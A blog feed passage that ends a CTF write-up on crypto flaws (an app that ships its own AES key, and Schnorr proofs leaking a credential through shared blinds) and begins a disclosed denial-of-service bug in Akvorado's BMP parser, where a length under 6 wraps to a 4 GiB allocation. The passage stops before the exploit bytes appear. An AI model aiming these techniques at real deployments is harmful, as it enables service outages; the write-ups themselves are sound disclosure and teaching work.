&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;openssl enc -d -aes-128-cbc -K 4ff5baa7f6db11fb0883c1553eba510d \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cont&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;        -iv $(xxd -p /tmp/fiv.bin) -in /tmp/fct.bin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--output&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;BDD{steward_signed_the_green_chain}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The lesson is not subtle. A derivation whose every input is public is obfuscation
wearing the word “encryption”, and a trust anchor that ships the private half of
itself is not a trust anchor. The app asks the player to earn trust with a
signature, and then hands over the signing key inside the box.&lt;/p&gt;
&lt;h2 id=&quot;softfocus-three-transcripts-two-lanes-of-randomness&quot;&gt;SoftFocus: three transcripts, two lanes of randomness&lt;/h2&gt;
&lt;p&gt;The target was not a web application. It was a directory listing from
&lt;code&gt;SimpleHTTP/0.6 Python/3.11.16&lt;/code&gt; serving three files: &lt;code&gt;proof_bundle.json&lt;/code&gt;,
&lt;code&gt;prover.py&lt;/code&gt;, &lt;code&gt;verifier.py&lt;/code&gt;. “The evidence is on your desk” is literal. I sent four
requests in total, one second apart, and the whole challenge was offline after
that.&lt;/p&gt;
&lt;p&gt;The scheme is a Pedersen vector commitment plus a Schnorr-style proof of knowledge
over a fixed safe-prime group, with &lt;code&gt;p = 2q + 1&lt;/code&gt;, 256-bit parameters and
&lt;code&gt;dimension = 8&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;commitment = prod_j generators[j] ** credential[j]   (mod p)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;A[i]       = prod_j generators[j] ** offset[i][j]    (mod p)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;z[i][j]    = offset[i][j] + c[i] * credential[j]     (mod q)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;verify:  prod_j generators[j] ** z[i][j] == A[i] * commitment ** c[i]   (mod p)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The challenges &lt;code&gt;c[i]&lt;/code&gt; are Fiat-Shamir hashes binding the parameters, the
commitment, the transcript index, the route, &lt;code&gt;A&lt;/code&gt;, and the attachment. Those
bindings are all present and correct. The verifier accepts the published bundle,
so this is not a tampered-bundle challenge. The proof is sound.&lt;/p&gt;
&lt;p&gt;The secret is not behind an endpoint. The bundle carries a 69-byte attachment
masked with a keystream keyed only by the credential:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;digest &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; sha256(&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;soft-focus.credential.v1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF938A;font-style:italic&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; credential[j] &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;byte big&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;endian each)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;keystream &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; shake_256(&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;soft-focus.attachment.v1&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF938A;font-style:italic&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; digest).digest(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(attachment))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;plaintext &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; attachment &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;XOR&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; keystream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Recover the credential and the flag falls out. So the question is whether the
proofs leak the credential, and the answer is in &lt;code&gt;prover.py&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;where-the-randomness-comes-from&quot;&gt;Where the randomness comes from&lt;/h3&gt;
&lt;p&gt;A correct implementation samples a fresh blinding vector per transcript. This one
samples a single latent state of two lanes, once, and derives every transcript’s
blind from it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;state  &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; tuple&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(sample_scalars(parsed.dimension, parsed.q) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;offset &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; _apply_route(state, route, parsed.q)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;#        = [ route[0]*state[0][j] + route[1]*state[1][j]  for j ]  mod q&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Substitute that into the response equation and every transcript is linear in the
unknowns &lt;code&gt;s0&lt;/code&gt;, &lt;code&gt;s1&lt;/code&gt; and the credential &lt;code&gt;V&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;z[i][j] = route[i][0]*s0[j] + route[i][1]*s1[j] + c[i]*V[j]   (mod q)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three transcripts, eight components, and per component that is three unknowns
with three equations:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[ route[0][0]  route[0][1]  c[0] ] [ s0[j] ]   [ z[0][j] ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[ route[1][0]  route[1][1]  c[1] ] [ s1[j] ] = [ z[1][j] ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[ route[2][0]  route[2][1]  c[2] ] [ V[j]  ]   [ z[2][j] ]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything in the matrix is public: the routes are in the bundle (&lt;code&gt;[23,71]&lt;/code&gt;,
&lt;code&gt;[131,19]&lt;/code&gt;, &lt;code&gt;[211,173]&lt;/code&gt;) and the challenges are recomputable. Those routes span,
so each 3x3 system inverts and &lt;code&gt;V&lt;/code&gt; comes out in closed form with Gaussian
elimination over GF(q). No discrete log, no forgery, no brute force. Two lanes of
randomness cannot hide an eight-component secret from three transcripts: 24
equations, 24 unknowns.&lt;/p&gt;
&lt;h3 id=&quot;getting-and-testing-the-flag-2&quot;&gt;Getting and testing the flag&lt;/h3&gt;
&lt;p&gt;The files the box served are here: &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus/proof_bundle.json&quot;&gt;proof_bundle.json&lt;/a&gt;
(3.9 KB), &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus/prover.py&quot;&gt;prover.py&lt;/a&gt;
(2.6 KB) and &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus/verifier.py&quot;&gt;verifier.py&lt;/a&gt;
(12 KB), alongside &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus/softfocus_solve.py&quot;&gt;softfocus_solve.py&lt;/a&gt;
(4.8 KB) and &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus/reproduce_flaw.py&quot;&gt;reproduce_flaw.py&lt;/a&gt;
(2.3 KB). The second instance’s bundle is
&lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/softfocus-n3/proof_bundle.json&quot;&gt;here&lt;/a&gt;; its
&lt;code&gt;prover.py&lt;/code&gt; and &lt;code&gt;verifier.py&lt;/code&gt; are byte-identical to the first instance, which is
why the attack carried over unchanged.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take the bundle, the prover and the verifier.&lt;/li&gt;
&lt;li&gt;Run the target’s own verifier on the bundle. It passes, so the proof is sound
and the leak has to be somewhere else.&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;prover.py&lt;/code&gt; and find where the blinds come from.&lt;/li&gt;
&lt;li&gt;Recompute the three challenges, build the 3x3 system per component, solve for
the credential.&lt;/li&gt;
&lt;li&gt;Recompute the commitment from the recovered credential and compare.&lt;/li&gt;
&lt;li&gt;Unmask the attachment with the keystream.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; verifier.py&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; proof_bundle.json&lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;    # OK: proof bundle verifies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; softfocus_solve.py&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; proof_bundle.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# BDD{7ace6e3cf983d3b205de1dc3f2dd59af53f133981d8f5fe10b30df54dad1d4a1}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# the flaw is structural, not one lucky bundle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; reproduce_flaw.py&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; proof_bundle.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# [PASS] attack recovers a freshly generated credential from the target&apos;s own prover&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two checks made this a finding rather than a guess. First, the recovered
credential reproduces the target’s own published commitment, which the target
computed before the bundle was ever public:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;recomputed = 5e3f4795d59b81513a2d99a6f6061490e4ae3e3201f1fbeae25080bf83d961e5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;published  = 5e3f4795d59b81513a2d99a6f6061490e4ae3e3201f1fbeae25080bf83d961e5&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Second, a separate verifier re-implements the challenge derivation, the
commitment, the linear solve and the keystream from scratch, without importing the
target’s &lt;code&gt;verifier.py&lt;/code&gt;, so a shared bug cannot make a wrong answer look right.&lt;/p&gt;
&lt;p&gt;The check I like most is the third one. &lt;code&gt;reproduce_flaw.py&lt;/code&gt; runs the &lt;strong&gt;target’s
own prover&lt;/strong&gt; on a credential I chose at random, then attacks the freshly generated
proof:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] credential chosen by us  : 30c604da5c3fd3e10db1184b6be0461c782d1b3204034757e78fdfd36146f505 ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[*] credential recovered     : 30c604da5c3fd3e10db1184b6be0461c782d1b3204034757e78fdfd36146f505 ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[PASS] attack recovers a freshly generated credential from the target&apos;s own prover&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That moves the claim from “I broke this one bundle” to “the randomness derivation
is broken”, which is the difference between a solve and an understanding.&lt;/p&gt;
&lt;p&gt;The fix is one line of intent: sample an independent blinding vector inside the
transcript loop instead of projecting one two-lane state through the routes. With
independent blinds, the response equations no longer share unknowns and the system
has more unknowns than equations.&lt;/p&gt;
&lt;h3 id=&quot;the-dead-end-worth-recording&quot;&gt;The dead end worth recording&lt;/h3&gt;
&lt;p&gt;The obvious attack is to look for a linear dependence among the challenges:
find &lt;code&gt;mu = (1, l1, l2)&lt;/code&gt; such that &lt;code&gt;l1*route[1] + l2*route[2] = route[0]&lt;/code&gt; and
&lt;code&gt;sum mu_i*c_i = 0 mod q&lt;/code&gt;. That would let me eliminate the blinds without touching
the state. It does not work, and the reason is worth understanding: the challenge
hash commits to &lt;code&gt;commitment&lt;/code&gt;, which depends on &lt;code&gt;(s0, s1, V)&lt;/code&gt;, while the route
relation constrains only &lt;code&gt;(s0, s1)&lt;/code&gt;. Verified numerically: the sum comes out to
&lt;code&gt;1869…7704 mod q&lt;/code&gt;, not zero. That failure is what pointed me at solving for the
state instead.&lt;/p&gt;
&lt;h2 id=&quot;the-same-challenge-served-again&quot;&gt;The same challenge, served again&lt;/h2&gt;
&lt;p&gt;The platform handed out a second instance of &lt;code&gt;SoftFocus&lt;/code&gt; on a different host.
&lt;code&gt;prover.py&lt;/code&gt; and &lt;code&gt;verifier.py&lt;/code&gt; were byte-identical to the first instance; only the
bundle differed, with a fresh credential and blinding state. The flaw was
unchanged, so the attack was the same, and it took four requests again.&lt;/p&gt;
&lt;p&gt;What made the repeat cheap was generalising the PoCs instead of copying them. The
solver now takes a bundle path as an argument, and the verifier checks the
&lt;code&gt;BDD{64 hex}&lt;/code&gt; format rather than comparing against a hardcoded flag literal. That
literal was a transcription slip waiting to happen on the first instance, and
removing it meant the second instance needed no edits at all.&lt;/p&gt;
&lt;p&gt;The new flag differed from the first, which is the useful part: the same unpatched
defect produced a different secret, so this was not a cached answer from the
earlier run.&lt;/p&gt;
&lt;h2 id=&quot;tools&quot;&gt;Tools&lt;/h2&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tool&lt;/th&gt;&lt;th&gt;Used for&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;objdump -d -M intel&lt;/code&gt;, &lt;code&gt;readelf&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Matcha disassembly and triage&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;jadx&lt;/code&gt;&lt;/td&gt;&lt;td&gt;GreenChain dex decompilation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;aapt dump badging/permissions&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Reading the Android manifest without a device&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;unzip&lt;/code&gt;, &lt;code&gt;xxd&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Pulling dex files and assets, splitting IV from ciphertext&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;openssl enc -d -aes-128-cbc&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Independent AES decryption for verification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sympy&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Factoring the 63-bit modulus once, interactively&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;python3&lt;/code&gt; + &lt;code&gt;cryptography&lt;/code&gt; 45.0.7&lt;/td&gt;&lt;td&gt;secp256k1 point derivation and ECDSA verification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;curl&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Four requests per SoftFocus instance, serial, one second apart&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;No scanners, no fuzzers, no wordlists on the web challenges. The two local
challenges sent nothing anywhere.&lt;/p&gt;
&lt;h2 id=&quot;what-i-took-away&quot;&gt;What I took away&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Known plaintext beats a confident disassembly.&lt;/strong&gt; On Matcha, my model was wrong
once, and running the real binary against a chosen input caught it in seconds.
Any claim about what a binary does is testable against the binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verify with a different tool than the one that found it.&lt;/strong&gt; The GreenChain flag
came out of my solver and was confirmed by &lt;code&gt;openssl&lt;/code&gt; on the command line. The
SoftFocus credential came out of Gaussian elimination and was confirmed by
recomputing the commitment the target published. Sharing code between the solve
and the check means sharing bugs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proofs are only as private as their randomness.&lt;/strong&gt; The SoftFocus verifier is
correct and the bundle passes it. The zero-knowledge property still fails,
because the blinds came from a two-lane state and there were three transcripts.
Soundness and privacy fail in different places, and a passing verifier only
tests one of them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A trust anchor you ship is not a trust anchor.&lt;/strong&gt; GreenChain’s signature gate
is real cryptography wrapped around a key that travels with the app, encrypted
under something every user already has.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write the dead ends down.&lt;/strong&gt; The failed linear-dependence attack on SoftFocus,
the wrong Matcha model, the &lt;code&gt;jadx&lt;/code&gt; path rules, the RSA &lt;code&gt;S&lt;/code&gt; versus &lt;code&gt;S + D&lt;/code&gt;
ambiguity: each one cost me time once and would have cost it again.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>CTF</category></item><item><title>A 6-byte packet exhausts memory in Akvorado&apos;s BMP server</title><link>https://0xblu3guy.github.io/blog/posts/akvorado-bmp-unchecked-length</link><guid isPermaLink="true">https://0xblu3guy.github.io/blog/posts/akvorado-bmp-unchecked-length</guid><description>Akvorado&apos;s BMP server sizes its body buffer by subtracting the header size from the length field, in unsigned 32-bit arithmetic. Anything under 6 bytes wraps to about 4 GiB, and eight connections killed the process. CVSS 7.5, GHSA-wr88-h9r3-fqh3.</description><pubDate>Sun, 04 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We run &lt;a href=&quot;https://github.com/akvorado/akvorado&quot;&gt;Akvorado&lt;/a&gt; at work. It is a flow
collector and visualizer: it takes NetFlow, IPFIX and sFlow from our routers and
turns them into per-user traffic numbers we use for billing. I open it most days
to answer a question. I did not expect to end up reporting a vulnerability in it.&lt;/p&gt;
&lt;p&gt;What I do expect, whenever I have the time, is to poke at the tools I use: read how
they parse input, click the paths that are not meant for me, wonder what happens
with something the tool is not expecting. Akvorado learns routing context over
&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7854&quot;&gt;BMP&lt;/a&gt;, the BGP Monitoring Protocol,
which means it runs a server that routers connect to and stream raw binary messages
into. BMP messages are length-prefixed. A length-prefixed parser is the kind of
code I cannot leave alone, so one afternoon I stopped using the tool and started
reading how it reads.&lt;/p&gt;
&lt;p&gt;The payoff was larger than I expected. One 6-byte packet makes the server reserve
about 4 GiB of memory, and a handful of connections is enough to crash the process.
No login, no handshake, and the listener is on by default. Finding something like
that in software you rely on is a mixed feeling. The maintainers confirmed it, fixed
it and credited me, so it is public now and I can write it up.&lt;/p&gt;
&lt;div class=&quot;callout callout--note&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout__title&quot;&gt;TL;DR&lt;/p&gt;
&lt;p&gt;The BMP read loop takes the 4-byte &lt;code&gt;Length&lt;/code&gt; field from each message and computes
&lt;code&gt;Length - 6&lt;/code&gt; to size the body buffer, in unsigned 32-bit arithmetic. Any &lt;code&gt;Length&lt;/code&gt;
below 6 underflows to roughly 4.29 billion, so one tiny packet asks for about
4 GiB. &lt;code&gt;io.ReadFull&lt;/code&gt; then blocks waiting for a body that never arrives, and the
allocation stays pinned to the connection. Eight connections reached 34 GiB and
the process died. The fix is to reject any length smaller than the header before
allocating.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;one-minute-on-bmp&quot;&gt;One minute on BMP&lt;/h2&gt;
&lt;p&gt;Most of what I understand about BMP, I owe to our network manager, who walked me
through it more than once while I kept asking why it behaves the way it does.&lt;/p&gt;
&lt;p&gt;The only part that matters here is the common header, defined in
&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7854&quot;&gt;RFC 7854&lt;/a&gt;. Every BMP message starts
with 6 bytes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version&lt;/strong&gt; (1 byte)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message Length&lt;/strong&gt; (4 bytes), the total length of the message including the header&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message Type&lt;/strong&gt; (1 byte)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A receiver reads those 6 bytes, learns how long the whole message should be, and
reads the rest. The length field is attacker-controlled by definition. It is
whatever the peer on the other end of the TCP connection says it is.&lt;/p&gt;
&lt;h2 id=&quot;the-line-that-caught-my-eye&quot;&gt;The line that caught my eye&lt;/h2&gt;
&lt;p&gt;I was skimming the read loop in &lt;code&gt;outlet/routing/provider/bmp/serve.go&lt;/code&gt; when this
stopped me:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;go&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;body &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;:=&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; make&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;([]&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, msg.Header.Length&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;bmp.BMP_HEADER_SIZE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;_, err &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; io.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;ReadFull&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(conn, body) &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;// blocks until `body` is filled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A buffer sized straight from a number that came off the wire is the first thing I
look for in a parser of this shape, and it raises the same two questions every
time. What are the bounds of that value, and does anything check them before the
code trusts it? I read the surrounding code twice looking for a guard. There is
none, and the arithmetic below makes the worst case worse than a plain large
allocation.&lt;/p&gt;
&lt;h2 id=&quot;subtraction-that-wraps&quot;&gt;Subtraction that wraps&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;BMP_HEADER_SIZE&lt;/code&gt; is 6 and &lt;code&gt;msg.Header.Length&lt;/code&gt; is a &lt;code&gt;uint32&lt;/code&gt;. Subtracting one from
the other gives the body size, which is correct as long as &lt;code&gt;Length&lt;/code&gt; is at least 6.
Unsigned subtraction does not go negative. It wraps:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th align=&quot;right&quot;&gt;&lt;code&gt;Length&lt;/code&gt; sent&lt;/th&gt;&lt;th&gt;&lt;code&gt;Length - 6&lt;/code&gt;&lt;/th&gt;&lt;th&gt;Allocation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;0&lt;/td&gt;&lt;td&gt;wraps&lt;/td&gt;&lt;td&gt;4,294,967,290 bytes (~4 GiB)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;&lt;td&gt;wraps&lt;/td&gt;&lt;td&gt;4,294,967,291 bytes (~4 GiB)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;right&quot;&gt;5&lt;/td&gt;&lt;td&gt;wraps&lt;/td&gt;&lt;td&gt;4,294,967,295 bytes (~4 GiB)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A &lt;code&gt;Length&lt;/code&gt; of 0 asks for about 4 GiB, not 0 bytes. What turns that into a dependable
problem rather than a transient one is the next line: because the attacker never
sends a body, &lt;code&gt;io.ReadFull&lt;/code&gt; blocks forever waiting for bytes that will not come.
The buffer is never freed. It stays reserved for the lifetime of the connection, and
the attacker controls that lifetime by doing nothing, simply by not closing the
socket.&lt;/p&gt;
&lt;h2 id=&quot;six-bytes-that-prove-it&quot;&gt;Six bytes that prove it&lt;/h2&gt;
&lt;p&gt;I did not want to argue from theory, so I wrote the smallest thing that could
demonstrate it. The length header is the first thing the server parses, so the whole
exploit fits in six bytes and there is no handshake to get past:&lt;/p&gt;
